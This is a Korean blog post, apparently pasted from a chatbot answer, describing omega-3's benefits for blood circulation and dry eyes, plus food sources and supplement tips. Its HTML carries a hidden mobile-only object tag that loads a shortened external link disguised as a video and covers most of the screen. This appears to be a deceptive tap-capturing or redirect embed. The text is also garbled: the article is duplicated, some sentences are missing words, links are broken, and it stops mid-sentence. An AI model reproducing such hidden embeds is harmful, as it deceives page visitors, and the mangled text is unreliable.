혈행 건강과 건조한 눈 개선에 도움 되는 오메가3

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3e" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c4215967209="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:42">혈행 건강과 건조한 눈 개선에 도움을 주는 오메가-3: 자세히 알아보기</h2><p data-sourcepos="3:1-3:68"><strong>오메가-3</strong>는 우리 몸에 없어서는 안 될 필수 지방산으로, 특히 혈액 순환 개선과 눈 건강에 중요한 역할을 합니다.</p><h3 data-sourcepos="5:1-5:15">혈행 건강 개선 </h3><ul data-sourcepos="7:1-10:0"> <li data-sourcepos="7:1-7:61"><strong>혈관 건강 유지:</strong> 혈관 내벽에 쌓이는 콜레스테롤을 줄여 혈관을 깨끗하게 유지하는 데 도움을 줍니다.</li> <li data-sourcepos="8:1-8:44"><strong>혈전 예방:</strong> 혈액이 끈적끈적해지는 것을 막아 혈전 생성을 예방합니다.</li> <li data-sourcepos="9:1-10:0"><strong>혈압 조절:</strong> 혈압을 안정적으로 유지하는 데 기여합니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://m.denpsmall.com/web/upload/category/mobile/shop1_57_top_941990.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" 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jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4de690e7aa6f5f39&quot;,&quot;c_acd94e0bd36d11cd&quot;,null,&quot;rc_94007e2b133398fd&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn3.gstatic.com/-tbn?q=tbn:ANd9GcQFaZ537Ye1ukXmvtit8DjtVWK1NkE8CWjcfYaae3Xpi1_TKV10voZ8c1k5jaNCbytf8MPa2xANkG6qgsWTxhyDj-1v47CX6kcD"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">m.denpsmall.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 오메가3 혈관 건강 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="13:1-13:15">건조한 눈 개선 </h3><ul data-sourcepos="15:1-17:0"> <li data-sourcepos="15:1-15:55"><strong>눈물막 안정화:</strong> 눈물막을 구성하는 지질층을 보호하여 눈물이 빨리 증발하는 것을 막습니다.</li> <li data-sourcepos="16:1-17:0"><strong>안구 건조증 완화:</strong> 건조한 눈으로 인한 불편함을 줄여줍니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://m.vitaminshop.co.kr/web/product/big/202308/72e8c50b104e6efcd687b0c0e1b0703c.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4de690e7aa6f5f39&quot;,&quot;c_acd94e0bd36d11cd&quot;,null,&quot;rc_94007e2b133398fd&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://vitaminshop.co.kr/product/%EB%8B%A5%ED%84%B0%EC%97%98%EB%A6%AC%EC%9E%90%EB%B2%A0%EC%8A%A4-%EC%95%8C%ED%8B%B0%EC%A7%80-%EC%98%A4%EB%A9%94%EA%B0%803-%EA%B0%84-%EB%88%88%EA%B1%B4%EA%B0%95-%ED%8F%AC%EB%AE%AC%EB%9D%BC-60%EC%BA%A1%EC%8A%90-2%EA%B0%9C%EC%9B%94%EB%B6%84/1413/"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="오메가3 눈 건강 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQh2tw0j4lmas-qjIqw5oDjR10lzi_jDq_6ZCuC6n5eKPZXgqaYaT3Lw2fZTSO4"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://vitaminshop.co.kr/product/%EB%8B%A5%ED%84%B0%EC%97%98%EB%A6%AC%EC%9E%90%EB%B2%A0%EC%8A%A4-%EC%95%8C%ED%8B%B0%EC%A7%80-%EC%98%A4%EB%A9%94%EA%B0%803-%EA%B0%84-%EB%88%88%EA%B1%B4%EA%B0%95-%ED%8F%AC%EB%AE%AC%EB%9D%BC-60%EC%BA%A1%EC%8A%90-2%EA%B0%9C%EC%9B%94%EB%B6%84/1413/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4de690e7aa6f5f39&quot;,&quot;c_acd94e0bd36d11cd&quot;,null,&quot;rc_94007e2b133398fd&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcRgtorwlKLchFf8P24_fO_LQPdzEe7Fx9220AR7Zb7zGj5K3W2rcIZ6MWqp9lPY0YWfg72pkabOJIJoG6CO-XeePG0pJSFON6qN34I"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">vitaminshop.co.kr</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 오메가3 눈 건강 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="20:1-20:16">오메가-3의 주요 성분</h3><p data-sourcepos="22:1-22:71">오메가-3의 주요 성분은 EPA(Eicosapentaenoic Acid)와 DHA(Docosahexaenoic Acid)입니다.</p><ul data-sourcepos="24:1-26:0"> <li data-sourcepos="24:1-24:28"><strong>EPA:</strong> 혈액 순환 개선에 적입니다.</li> <li data-sourcepos="25:1-26:0"><strong>DHA:</strong> 뇌 기능 개선과 눈 건강에 좋습니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="http://i0.wp.com/mommom.me/wp-content/uploads/2016/04/%EC%98%A4%EB%A9%94%EA%B0%803-1.jpg?resize=854%2C445"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4de690e7aa6f5f39&quot;,&quot;c_acd94e0bd36d11cd&quot;,null,&quot;rc_94007e2b133398fd&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" ://mommom.me/1729/"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="오메가3 EPA DHA 구조 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQUzlokMkYLiSeO-ktU8pyoVKyB0AvhGvypgSwL4cqXvE-ZCMC2WdFpBJS0TRGP"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" ://mommom.me/1729/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4de690e7aa6f5f39&quot;,&quot;c_acd94e0bd36d11cd&quot;,null,&quot;rc_94007e2b133398fd&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcQbi4jd59bfn4alA9sUVb_2vwND4StsXiQi8GZK3ixhBFUri3YuAv0tz5g-1ZgAJeoI148LNiqM8-Srz24RzK7UqYw"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">mommom.me</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 오메가3 EPA DHA 구조 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="29:1-29:19">오메가-3 섭취 시 주의사항</h3><ul data-sourcepos="31:1-34:0"> <li data-sourcepos="31:1-31:58"><strong>적절한 섭취:</strong> 과도한 섭취는 오히려 건강에 해로울 수 있으므로 권장량을 지켜 섭취해야 합니다.</li> <li data-sourcepos="32:1-32:51"><strong>개인별 차이:</strong> 개인의 건강 상태나 복용하는 약물에 따라 가 다를 수 있습니다.</li> <li data-sourcepos="33:1-34:0"><strong>전문가 상담:</strong> 이 있는 경우에는 전문가와 상담 후 섭취하는 것이 좋습니다.</li> </ul><h3 data-sourcepos="35:1-35:17">오메가-3가 풍부한 식품</h3><ul data-sourcepos="37:1-40:0"> <li data-sourcepos="37:1-37:41"><strong>생선:</strong> 연어, 참치, 고등어 등 지방이 많은 생선에 풍부합니다.</li> <li data-sourcepos="38:1-38:32"><strong>견과류:</strong> 호두, 아마씨 등에 함유되어 있습니다.</li> <li data-sourcepos="39:1-40:0"><strong>해조류:</strong> 미역, 다시마 등에 소량 함유되어 있습니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://mblogthumb-phinf.pstatic.net/MjAxOTA3MTBfMTgx/MDAxNTYyNzI0NzcyODc5.8iVtHvZn_aMORH3UW0u7haRqN1qenDOBSI-0nT3O5tAg.fAsh3aHIOU1iTQYC1xpzqhdAbcFN48hvDnFdebKcEl4g.PNG.charinhospital/%EC%B0%A8%EB%A6%B0_%EB%B8%94%EB%A1%9C%EA%B7%B8_%EB%A9%94%EC%9D%B8.png?type=w800"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4de690e7aa6f5f39&quot;,&quot;c_acd94e0bd36d11cd&quot;,null,&quot;rc_94007e2b133398fd&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s:///charinhospital/221582028854"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="오메가3 풍부한 식품 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcQMp21EJ-9smp5NryWIXE5dbyedvASi9hO0DgcZjL1bYdBbaePFgw3GfFcBMKRs"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s:///charinhospital/221582028854" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4de690e7aa6f5f39&quot;,&quot;c_acd94e0bd36d11cd&quot;,null,&quot;rc_94007e2b133398fd&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcQ-KZ_IQW4f8L4W7cwwlGTl85qFcme6Gb0Ip_PGSEX7cDyBoXlQ5aiwQrKZfPf4heWQ_PI-R4ttAvSs9DIBOsP2YJjBIu0m2a29_g"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 오메가3 풍부한 식품 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="43:1-43:24">오메가-3 영양제 선택 시 고려 사항</h3><ul data-sourcepos="45:1-48:0"> <li data-sourcepos="45:1-45:43"><strong>순도:</strong> 중금속 등의 오염물질이 없는 순수한 제품을 선택해야 합니다.</li> <li data-sourcepos="46:1-46:51"><strong>함량:</strong> EPA와 DHA 함량을 확인하고, 본인에게 필요한 함량을 선택해야 합니다.</li> <li data-sourcepos="47:1-48:0"><strong>형태:</strong> 캡슐, 연질캡슐 등 다양한 형태가 있으므로 본인에게 맞는 형태를 선택해야 합니다.</li> </ul><p data-sourcepos="49:1-49:74"><strong>오메가-3는 건강한 삶을 위한 필수 영양소입니다.</strong> 혈행 건강과 눈 건강 개선을 위해 오늘부터 오메가-3 섭취를 시작해 보세요.</p><p data-sourcepos="51:1-51:27"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><p data-sourcepos="53:1-53:80"><strong>참고:</strong> 위 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 다를 수 있습니다. 한 정보는 의료 전문가와 상담하시기 바랍니다.</p><p data-sourcepos="55:1-55:27"><strong> 추가 요청 시 댓글로 알려주세요.</strong></p><p data-sourcepos="57:1-57:16"><strong>원하시는 종류:</strong></p><ul data-sourcepos="58:1-62:0"> <li data-sourcepos="58:1-58:13">오메가-3 분자 구조</li> <li data-sourcepos="59:1-59:18">오메가-3가 함유된 식품 사진</li> <li data-sourcepos="60:1-60:24">오메가-3 섭취 시 주의사항 관련 </li> <li data-sourcepos="61:1-62:0">기타 (자세히 설명)</li> </ul><p data-sourcepos="63:1-63:46"><strong>참고:</strong> 저작권 문제로 인해 일부 제공이 어려울 수 있습니다.</p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3e" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c4215967209="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:42">혈행 건강과 건조한 눈 개선에 도움을 주는 오메가-3: 자세히 알아보기</h2><p data-sourcepos="3:1-3:68"><strong>오메가-3</strong>는 우리 몸에 없어서는 안 될 필수 지방산으로, 특히 혈액 순환 개선과 눈 건강에 중요한 역할을 합니다.</p><h3 data-sourcepos="5:1-5:15">혈행 건강 개선 </h3><ul data-sourcepos="7:1-10:0"> <li data-sourcepos="7:1-7:61"><strong>혈관 건강 유지:</strong> 혈관 내벽에 쌓이는 콜레스테롤을 줄여 혈관을 깨끗하게 유지하는 데 도움을 줍니다.</li> <li data-sourcepos="8:1-8:44"><strong>혈전 예방:</strong> 혈액이 끈적끈적해지는 것을 막아 혈전 생성을 예방합니다.</li> <li data-sourcepos="9:1-10:0"><strong>혈압 조절:</strong> 혈압을 안정적으로 유지하는 데 기여합니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://m.denpsmall.com/web/upload/category/mobile/shop1_57_top_941990.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_4de690e7aa6f5f39","c_acd94e0bd36d11cd",null,"rc_94007e2b133398fd",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://m.denpsmall.com/product/list.html?cate_no=57"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="오메가3 혈관 건강 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTLpds2i_xWha1mf-mNtdf0fCSUFAwVZIhrt1EbOfQJ7CUZNPsSfWARxolQi_Mm"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://m.denpsmall.com/product/list.html?cate_no=57" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_4de690e7aa6f5f39","c_acd94e0bd36d11cd",null,"rc_94007e2b133398fd",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQFaZ537Ye1ukXmvtit8DjtVWK1NkE8CWjcfYaae3Xpi1_TKV10voZ8c1k5jaNCbytf8MPa2xANkG6qgsWTxhyDj-1v47CX6kcD"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">m.denpsmall.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 오메가3 혈관 건강 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="13:1-13:15">건조한 눈 개선 </h3><ul data-sourcepos="15:1-17:0"> <li data-sourcepos="15:1-15:55"><strong>눈물막 안정화:</strong> 눈물막을 구성하는 지질층을 보호하여 눈물이 빨리 증발하는 것을 막습니다.</li> <li data-sourcepos="16:1-17:0"><strong>안구 건조증 완화:</strong> 건조한 눈으로 인한 불편함을 줄여줍니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://m.vitaminshop.co.kr/web/product/big/202308/72e8c50b104e6efcd687b0c0e1b0703c.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_4de690e7aa6f5f39","c_acd94e0bd36d11cd",null,"rc_94007e2b133398fd",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://vitaminshop.co.kr/product/%EB%8B%A5%ED%84%B0%EC%97%98%EB%A6%AC%EC%9E%90%EB%B2%A0%EC%8A%A4-%EC%95%8C%ED%8B%B0%EC%A7%80-%EC%98%A4%EB%A9%94%EA%B0%803-%EA%B0%84-%EB%88%88%EA%B1%B4%EA%B0%95-%ED%8F%AC%EB%AE%AC%EB%9D%BC-60%EC%BA%A1%EC%8A%90-2%EA%B0%9C%EC%9B%94%EB%B6%84/1413/"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="오메가3 눈 건강 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQh2tw0j4lmas-qjIqw5oDjR10lzi_jDq_6ZCuC6n5eKPZXgqaYaT3Lw2fZTSO4"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://vitaminshop.co.kr/product/%EB%8B%A5%ED%84%B0%EC%97%98%EB%A6%AC%EC%9E%90%EB%B2%A0%EC%8A%A4-%EC%95%8C%ED%8B%B0%EC%A7%80-%EC%98%A4%EB%A9%94%EA%B0%803-%EA%B0%84-%EB%88%88%EA%B1%B4%EA%B0%95-%ED%8F%AC%EB%AE%AC%EB%9D%BC-60%EC%BA%A1%EC%8A%90-2%EA%B0%9C%EC%9B%94%EB%B6%84/1413/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_4de690e7aa6f5f39","c_acd94e0bd36d11cd",null,"rc_94007e2b133398fd",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRgtorwlKLchFf8P24_fO_LQPdzEe7Fx9220AR7Zb7zGj5K3W2rcIZ6MWqp9lPY0YWfg72pkabOJIJoG6CO-XeePG0pJSFON6qN34I"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">vitaminshop.co.kr</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 오메가3 눈 건강 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="20:1-20:16">오메가-3의 주요 성분</h3><p data-sourcepos="22:1-22:71">오메가-3의 주요 성분은 EPA(Eicosapentaenoic Acid)와 DHA(Docosahexaenoic Acid)입니다.</p><ul data-sourcepos="24:1-26:0"> <li data-sourcepos="24:1-24:28"><strong>EPA:</strong> 혈액 순환 개선에 적입니다.</li> <li data-sourcepos="25:1-26:0"><strong>DHA:</strong> 뇌 기능 개선과 눈 건강에 좋습니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="http://i0.wp.com/mommom.me/wp-content/uploads/2016/04/%EC%98%A4%EB%A9%94%EA%B0%803-1.jpg?resize=854%2C445"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_4de690e7aa6f5f39","c_acd94e0bd36d11cd",null,"rc_94007e2b133398fd",null,null,"ko",null,null,null,null,1,0]];mutable:true" ://mommom.me/1729/"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="오메가3 EPA DHA 구조 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQUzlokMkYLiSeO-ktU8pyoVKyB0AvhGvypgSwL4cqXvE-ZCMC2WdFpBJS0TRGP"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" ://mommom.me/1729/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_4de690e7aa6f5f39","c_acd94e0bd36d11cd",null,"rc_94007e2b133398fd",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQbi4jd59bfn4alA9sUVb_2vwND4StsXiQi8GZK3ixhBFUri3YuAv0tz5g-1ZgAJeoI148LNiqM8-Srz24RzK7UqYw"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">mommom.me</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 오메가3 EPA DHA 구조 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="29:1-29:19">오메가-3 섭취 시 주의사항</h3><ul data-sourcepos="31:1-34:0"> <li data-sourcepos="31:1-31:58"><strong>적절한 섭취:</strong> 과도한 섭취는 오히려 건강에 해로울 수 있으므로 권장량을 지켜 섭취해야 합니다.</li> <li data-sourcepos="32:1-32:51"><strong>개인별 차이:</strong> 개인의 건강 상태나 복용하는 약물에 따라 가 다를 수 있습니다.</li> <li data-sourcepos="33:1-34:0"><strong>전문가 상담:</strong> 이 있는 경우에는 전문가와 상담 후 섭취하는 것이 좋습니다.</li> </ul><h3 data-sourcepos="35:1-35:17">오메가-3가 풍부한 식품</h3><ul data-sourcepos="37:1-40:0"> <li data-sourcepos="37:1-37:41"><strong>생선:</strong> 연어, 참치, 고등어 등 지방이 많은 생선에 풍부합니다.</li> <li data-sourcepos="38:1-38:32"><strong>견과류:</strong> 호두, 아마씨 등에 함유되어 있습니다.</li> <li data-sourcepos="39:1-40:0"><strong>해조류:</strong> 미역, 다시마 등에 소량 함유되어 있습니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://mblogthumb-phinf.pstatic.net/MjAxOTA3MTBfMTgx/MDAxNTYyNzI0NzcyODc5.8iVtHvZn_aMORH3UW0u7haRqN1qenDOBSI-0nT3O5tAg.fAsh3aHIOU1iTQYC1xpzqhdAbcFN48hvDnFdebKcEl4g.PNG.charinhospital/%EC%B0%A8%EB%A6%B0_%EB%B8%94%EB%A1%9C%EA%B7%B8_%EB%A9%94%EC%9D%B8.png?type=w800"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_4de690e7aa6f5f39","c_acd94e0bd36d11cd",null,"rc_94007e2b133398fd",null,null,"ko",null,null,null,null,1,0]];mutable:true" s:///charinhospital/221582028854"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="오메가3 풍부한 식품 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQMp21EJ-9smp5NryWIXE5dbyedvASi9hO0DgcZjL1bYdBbaePFgw3GfFcBMKRs"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s:///charinhospital/221582028854" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_4de690e7aa6f5f39","c_acd94e0bd36d11cd",null,"rc_94007e2b133398fd",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQ-KZ_IQW4f8L4W7cwwlGTl85qFcme6Gb0Ip_PGSEX7cDyBoXlQ5aiwQrKZfPf4heWQ_PI-R4ttAvSs9DIBOsP2YJjBIu0m2a29_g"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 오메가3 풍부한 식품 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="43:1-43:24">오메가-3 영양제 선택 시 고려 사항</h3><ul data-sourcepos="45:1-48:0"> <li data-sourcepos="45:1-45:43"><strong>순도:</strong> 중금속 등의 오염물질이 없는 순수한 제품을 선택해야 합니다.</li> <li data-sourcepos="46:1-46:51"><strong>함량:</strong> EPA와 DHA 함량을 확인하고, 본인에게 필요한 함량을 선택해야 합니다.</li> <li data-sourcepos="47:1-48:0"><strong>형태:</strong> 캡슐, 연질캡슐 등 다양한 형태가 있으므로 본인에게 맞는 형태를 선택해야 합니다.</li> </ul><p data-sourcepos="49:1-49:74"><strong>오메가-3는 